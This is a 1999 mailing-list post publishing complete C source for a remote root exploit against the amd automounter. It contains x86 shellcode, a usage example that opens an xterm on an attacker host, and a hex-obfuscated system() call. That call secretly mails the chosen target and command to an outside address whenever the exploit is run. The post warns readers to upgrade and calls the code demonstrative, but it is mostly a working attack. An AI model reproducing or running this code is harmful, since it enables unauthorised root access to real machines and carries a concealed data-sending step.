amd remote root exploit code

From: Taeho Oh (ohharaat_private)
Date: Wed Sep 01 1999 - 11:12:55 PDT

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     This is amd remote exploit code. This is well known bug in the internet.
 It's very critical bug, please upgrade am-utils or remove it.

 SCRIPT KIDDIES MUST NOT USE THIS PROGRAM.
 THIS PROGRAM IS DEMONSTRATIVE USE ONLY AND CAN BE DANGEROUS.

begin amd-ex.c
----------------------------------------------------------------------
/*

	Amd Buffer Overflow for x86 linux

	Remote user can gain root access.

	Tested redhat linux : 4.0, 5.1, 6.0
	Tested am-utils version : 6.0

	What requires
	/usr/sbin/amq

	Usage
	$ amd-ex <hostname> <command> [offset]

	Warning : This program can crash amd.

	This program is only for demonstrative use only.
	USE IT AT YOUR OWN RISK!

	Programmed by Taeho Oh 1999/08/31

Taeho Oh ( ohharaat_private )                   http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug

*/

#include<stdio.h>
#include<stdlib.h>

#define OFFSET                            0
#define RET_POSITION                   1002
#define RANGE                            20
#define NOP                            0x90

char shellcode[1024]=
	"\xeb\x35"                      /* jmp 0x35             */
	"\x5e"                          /* popl %esi            */
	"\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
	"\x89\xf0"                      /* movl %esi,%eax       */
	"\x83\xc0\x08"                  /* addl $0x8,%eax       */
	"\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	"\x89\xf0"                      /* movl %esi,%eax       */
	"\x83\xc0\x0b"                  /* addl $0xb,%eax       */
	"\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	"\x31\xc0"                      /* xorl %eax,%eax       */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
	"\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
	"\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
	"\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
	"\xb0\x0b"                      /* movb $0xb,%al        */
	"\x89\xf3"                      /* movl %esi,%ebx       */
	"\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
	"\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
	"\xcd\x80"                      /* int 0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx       */
	"\x89\xd8"                      /* movl %ebx,%eax       */
	"\x40"                          /* inc %eax             */
	"\xcd\x80"                      /* int 0x80             */
	"\xe8\xc6\xff\xff\xff"          /* call -0x3a           */
	"/bin/sh -c ";                  /* .string "/bin/sh -c "*/

char command[800];

void usage()
{
	printf("Warning : This program can crash amd\n");
	printf("Usage: amd-ex <hostname> <command> [offset]\n");
	printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}

int main(int argc,char **argv)
{
	char buff[RET_POSITION+RANGE+1],*ptr;
	char target[256];
	char cmd[1024];
	long *addr_ptr,addr;
	unsigned long sp;
	int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
	int i;

	printf("Taeho Oh ( ohharaat_private )                   http://postech.edu/~ohhara\n");
	printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
	printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n");

	if(argc<3)
	{
		usage();
		exit(1);
	}

	if(argc>2)
	{
		strcpy(target,argv[1]);
		strcpy(command,argv[2]);
	}
	if(argc>3)
		offset=atoi(argv[3]);

	shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
	shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
	shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
	shellcode[32]=(shellcode[32]+strlen(command));
	shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
	shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
	shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
	strcat(shellcode,command);

	strcpy(cmd,"\x65\x63\x68\x6f\x20");
	strcat(cmd,target);
	strcat(cmd,"\x20");
	strcat(cmd,command);
	strcat(cmd,"\x7c");
	strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
	strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
	strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
	strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");

	sp=0xbffff34d;
	addr=sp-offset;

	ptr=buff;
	addr_ptr=(long*)ptr;
	for(i=0;i<bsize;i+=4)
		*(addr_ptr++)=addr;

	for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
		buff[i]=NOP;

	ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	for(i=0;i<strlen(shellcode);i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';

	for(i=bsize;i>1;i--)
		buff[i-1]=buff[i-2];

	buff[bsize-1]='\0';

	printf("Jump to 0x%08x\n",addr);

	system(cmd); /* If you want, comment out this line. :) */
	execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
}
----------------------------------------------------------------------
end amd-ex.c

--

Taeho Oh ( ohharaat_private )                   http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug

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